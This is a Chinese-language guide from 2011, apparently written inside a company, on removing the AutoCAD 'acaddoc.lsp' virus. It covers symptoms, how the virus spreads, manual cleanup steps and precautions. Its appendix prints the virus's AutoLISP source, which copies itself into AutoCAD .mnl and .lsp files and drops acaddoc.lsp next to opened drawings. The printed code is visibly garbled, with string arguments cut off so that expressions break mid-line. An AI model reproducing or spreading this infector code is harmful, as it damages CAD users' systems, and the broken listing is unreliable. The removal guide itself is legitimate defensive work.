acaddoc病毒处理办法2011
前言: 下文第1、2、3段无实质内容,可略过不读。 一 病毒简介:
最近公司里流传一种cad病毒。该病毒可被卡巴斯基和360杀毒软件查出。卡巴斯基查出病毒名为Virus.ALS.Pasdoc.a,360杀毒软件查出病毒名为Trojan.Script.29327。遗憾的是,卡巴斯基和360杀毒软件均不能将其彻底清除。
二 中毒症状:
机器中毒后,运行CAD时,每打开一个dwg文件,均在dwg文件所在目录下生成一个acaddoc.lsp的文件。由于每次开图,病毒程序均进行一次病毒传播复制过程,因此使得CAD开图时速度变慢。
用记事本查看CAD安装路径下的support目录下的任一*.lsp文件,如文件末尾含有与附件1相同的代码,则可判定为中毒。
三 传播机理:
通过分析病毒的源代码,初步了解其传播机理如下:
如机器已中毒,CAD新打开dwg文件时,病毒程序自动加载。并搜索CAD工作目录下的acad.mnl文件,感染同一目录下的*.mnl文件,搜索acad的support目录,并感染该目录下的所有*.lsp文件。同时病毒在当前打开的dwg文件所在目录下生成acaddoc.lsp文件,以利于下次传播。
如本机未中毒,而新打开的dwg文件所在目录下有acaddoc.lsp文件,则病毒将感染上述目录下的*.mnl与*.lsp文件。
该病毒的最终目的是调用acadapq 与 acadappp 两个非法程序。至于这两个程序会干什么,暂未深入研究。
四 清除步骤:
1. 退出CAD。
2. 全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件,然后彻底删除上述文件。注
意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。搜索时选择“查找所有文件及文件夹”,然后在“高级选项”里勾选“搜索系统文件夹”“搜索隐藏的文件和文件夹”“搜索子文件夹”。 如果搜出的文件无法删除,则先清空回收站,再搜索删除。
注:探索者目录下有个AcadDoc.lsp(注意大小写)不是病毒文件,谨防误删。 3. 查看C盘根目录下是否有boot.dat文件,如有,则将其删除。
4. 进入C:\\Documents and Settings\\用户名\\Application Data\\Autodesk\\AutoCAD
2006(或AutoCAD2004)\\R16.2\\chs\\Support目录,用记事本打开该目录下的所有
*.mnl文件,手动删除与附件1相同的代码(一般都在文件末尾),然后保存。并将修改后的所有*.mnl文件属性设置为“只读”。
5. 进入CAD安装目录下的support目录,将该目录下的所有*.lsp文件按步骤4方法
处理。记得将其属性设为“只读”。
6. 如果本机安装有多个版本的CAD,都需按上述步骤检查一次。
五 预防措施:
由于该病毒是通过读取dwg文件所在的目录下acaddoc.lsp来传播的。因为在接受其他同事的文件夹时,应先检查该文件夹中是否包含上述病毒文件。如有,则删除之。同时也应该确保传给其他同事的文件夹不要包含上述文件。
病毒会感染support目录下的 *.lsp文件。因此建议新建一个文件夹,将常用的lisp程序放置在该文件夹下,同时在CAD选项中将其设置为工作搜索目录。
未装杀毒软件的机器应首先将杀毒软件装上(360杀毒软件免费的),在接受他人传来的文件后应首先杀毒。
建议不要直接打开公共盘上的dwg文件,应先下载到本机再打开。
附件1: 病毒代码
(setq flagx t)
(setq bz \
(defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn
(setq wjm1 (open target \ (while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil)) );while
(close wjm1) );progn );if (if flag1 (progn
(setq wjm (open source \ (setq wjm1 (open target \ (write-line (chr 13) wjm1) (while (setq text (read-line wjm))
(if (= text bz) (setq flag t)) (if flag
(progn
(write-line text wjm1) );progn );if );while
(close wjm1) (close wjm) );progn );if );defun
(setvar \
(setq acadmnl (findfile \
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath \(setq mnlnum (length mnlfilelist)) (setq acadexe (findfile \
(setq acadpath (vl-filename-directory acadexe)) (setq support (strcat acadpath \
(setq lspfilelist (vl-directory-files support \(setq lspfilelist (append lspfilelist (list \(setq lspnum (length lspfilelist)) (setq dwgname (getvar \(setq dwgpath (findfile dwgname)) (if dwgpath (progn
(setq acaddocpath (vl-filename-directory dwgpath)) (setq acaddocfile (strcat acaddocpath \ (setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath \ (app mnlfilename acaddocfile bz) (app acaddocfile mnlfilename bz) (setq mnln (1+ mnln)) );while (setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support \ (app lspfilename acaddocfile bz) (app acaddocfile lspfilename bz) (setq lspn (1+ lspn)) );while );progn );if (setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath \ (setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath \ (app mnlfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1)) );while (setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support \ (app mnlfilename lspfilename1 bz) (setq lspn1 (1+ lspn1)) );while
(setq mnln (1+ mnln)) );while (setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support \ (setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support \ (app lspfilename lspfilename1 bz) (setq lspn1 (1+ lspn1)) );while (setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath \ (app lspfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1)) );while
(setq lspn (1+ lspn)) (load \(princ)
(load \(princ)
相关推荐: